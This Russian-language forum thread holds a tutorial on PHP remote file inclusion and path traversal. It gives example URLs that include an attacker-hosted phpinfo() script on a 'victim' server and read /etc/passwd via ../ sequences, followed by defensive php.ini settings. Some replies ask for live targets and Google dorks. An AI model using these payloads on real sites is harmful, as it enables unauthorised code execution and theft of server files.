Идея PHP инклудинг. Часть II

Тема в разделе "Обсуждение технологий", создана пользователем Patrik, 12 апр 2017.

  1. Patrik

    Patrik

    Сообщения:
    101
    Баллы:
    6
    Корни данного бага уходят в саму идею языка PHP. Этот язык создавлся чтобы дать
    разработчикам максимально возможное пространство для маневра. Зайди на php.net
    и посмотри сколько в этом языке функций! Буквально на любой вкус. PHP дает
    разработчику шанс встроеными функциями решить такие вопросы, для решения
    которых в других языках приходится писать собственные библиотеки. Соответственно
    такая свобода не проходит даром. Например известная функция fopen.
    Она используется, как не сложно догадаться, для открытия файлов на чтение либо
    запись. Одна из полезных "фишичек" данной функции - возможность использования
    в качестве путей к файлу url`ов. Т.е. функции совершенно без разницы что открываемый
    файл лежит совсем на другом сервере. С одной стороны очень удобно: можно без
    всяких извращений читать файлы по сети. Но с другой стороны если в твоей программе
    это не нужно, приходится заботиться о безопасности.

    На каком бы движке небыл поднят твой сайт\форум\etc без запросов типа GET и POST
    там ни как не обойдется. Здесь-то и кроется опасность. Заменить данные в запросе
    типа GET вообще ничего не стоит. Для этого достаточно поправить строку браузера =).
    С запросом POST сложнее, но написать нужный скрипт - тоже не проблема для знающего
    человека.

    Как же злоумышленники находят потенциально уязвимые скрипты? Да очень просто.
    Надо просто в процессе серфинга интернета, не бездумно переходить со страницы
    на страницу, а внимательно смотреть какие данные и куда передаються.
    Попав на какой-нибудь интересный ресурс, надо просто постараться себе
    представить как же он работает? Угадаешь алгоритм работы скрипта - 50% дела.
    Для того чтобы скрипт проанализировать, необходимо банально пытаться подставить
    свои данные вместо тех что подставляет скрипт. Пример? Пожалуйста:
    Заходим на сайт, и видим в строке браузера нечто типа:

    http://site/index.php?page=news

    У меня например такая ссылка сразу же вызывает желание попробовать ее на пхп инклюд =)
    для этого закачиваем на хостинг без потдержки php (например newmail.ru или narod.ru)
    страницу со следующим содержимым:

    <?
    phpinfo();
    ?>

    Назовем ее test.php. Спросишь почему хостинг должен быть обязательно без PHP ?
    В ином случае, даже если инклюд сработает, то твой скрипт выполниться на твоем
    же хостинге а не на сервере жертвы. Теперь пробуем:

    http://site/index.php?page=http://my_hosting/test

    Вуаля! Мы видим в браузере результат выполнения команды на сервере жертвы =).

    Что же позволило нам предположить что тут возможен инклюд? Мы просто попытались
    представить себе алгоритм работы скрипта index.php. Скорее всего он примерно
    следующий:

    1. Получаем переменную page из GET
    2. Дописываем к ней ".php"
    3. Запускаем include() этой переменной.

    Исходя из этого можно предположить что в скрипте может и не быть проверки на
    удаленый путь. А это само по себе дает нам возможность произвести атаку.
    Ситуация что я описал очень банальна. Встретить такие уязвимости практически
    невозможно, потому что данный случай уже давно классика, и любой уважающий себя
    програмист поставит защиту от такого вида атак.

    Пример 2

    Видим в браузере следующую строку:

    http://site/index.php?text=file.txt

    Пробуем подставить страницу со своего сайта:

    http://site/index.php?text=http://my_hosting/test.php

    Но тута нас ждет облом. Скрипт отказался выполняться и выдал нам ошибку.
    Скажу тебе по сикрету, сообщения об ошибках - золотая жила для хакера. Очень
    помогает для выяснения алгоритмы работы вражеского скрипта. И что же мы видим
    в этом сообщении? Что-то типа:

    Warning: main(site/dir/http://my_hosting/test.php)
    [function.main]:
    failed to open stream: No such file or directory in
    /var/www/server/index.php on line 2

    О чем это говорит? Это говорит нам о том, что скрипт, перед тем как открыть
    файл, дописывает ПЕРЕД передаваемыми данными строку "site/dir/", что полностью
    меняет путь до файла. Что же нам тогда делать? Мы просто возьмем и пропишем:

    http://site/index.php?text=../../../../../etc/passwd

    Вотон, файл паролей сервера =) Как видишь, не плохо так же знать и ОС Linux =)

    Теперь давай поговорим с тобой о защите от такого вида атак.

    Во-первых: необходимо проверять все данные получаемые скриптом из вне. Если
    в них соержаться недопустимые символы и т.п. сразу выдавать ошибку. Надо
    иметь это ввиду при написании собственных движков. Очень полезно бывает
    в самом начале двига вписать проверку входных параметров на недопустимые значения.
    И в случае таковых выдавать сообщение об ошибке сразуже.

    Во-вторых. Разработчики PHP уже зарание позаботились о нас бедных пользователях
    реализовав некоторые методы защиты непосредственно в самом ядре PHP.
    Файл настроек php.ini - содержит очень много полезных настроек, но к сожалению
    админы и разработчики почемуто в своем большинстве оставляют дефолтовые
    настройки, либо изменяют файл но незначительно. А зря. Между прочем там очень
    много полезных настроек. Приведу некоторые самые известные из них. Они помогут
    тебе значительно лучше обезопасить свою систему.

    1-е это конечно всем известный safe mode. Настройки этой группы позволяют
    ограничить доступ php-скриптов в системе. Можно задать корневую директорию,
    выше которой скрипт не сможет читать файлы. И пример 2 при таких настройках
    уже не мработает. Советую дитальнее изучить всю секцию safe mode файла php.ini
    и установить опции оптимальные для твоего сайта.

    2-е это опция disable_functions. Она позволяет указать список функций вызов
    которых будет невозможен. Например заблокировав функции shell_exec, exec, system,
    fopen, passthru, popen и т.п. мы лишим злоумышленника возможности выполнять
    системные команды и программы.

    3-е опция allow_url_fopen. Если ее установить в off, то функция fopen (если ты
    еще не забыл о ней писалось в самом начале) не сможет читать удаленные файлы.

    Есть еще много опций такого типа, но о конфигурации php.ini ты сможешь прочитать
    в любом хорошем учебнике по php. Другое дело что в большинстве своем хостеры
    не дают доступа к файлу настроек. Казалось бы мы тут пришли в тупик. Но
    есть такая полезная функция: set_include_path. Она позволяет указать
    аналогичный параметр в php.ini.

    Ну вообщем дерзай. Защищай свою систему, или ищи баги, как тебе больше нравится.
  2. Anonymouse

    Anonymouse

    Сообщения:
    532
    Баллы:
    16
    автор статьтя зачет,
    только narod.ru уже давно помер
  3. LulzC3h

    LulzC3h

    Сообщения:
    107
    Баллы:
    16
    Ну такое, кто в теме бегло просмотрит тему не увидев ничего нового, новички не поймут обчем речь, ты бы гугл дорки с уязвимостью приложил
  4. Кал Калыч

    Кал Калыч

    Сообщения:
    389
    Баллы:
    16
    Приведите пример инклюда на живом сайте плиз.
  5. excitex98

    excitex98

    Сообщения:
    27
    Баллы:
    1
    Прокает на модели Model View Controller с защитой от ' / \ " ?
  6. Кал Калыч

    Кал Калыч

    Сообщения:
    389
    Баллы:
    16
    Можно на Апаче через модуль настроить фильтр опасных символов.

Поделиться этой страницей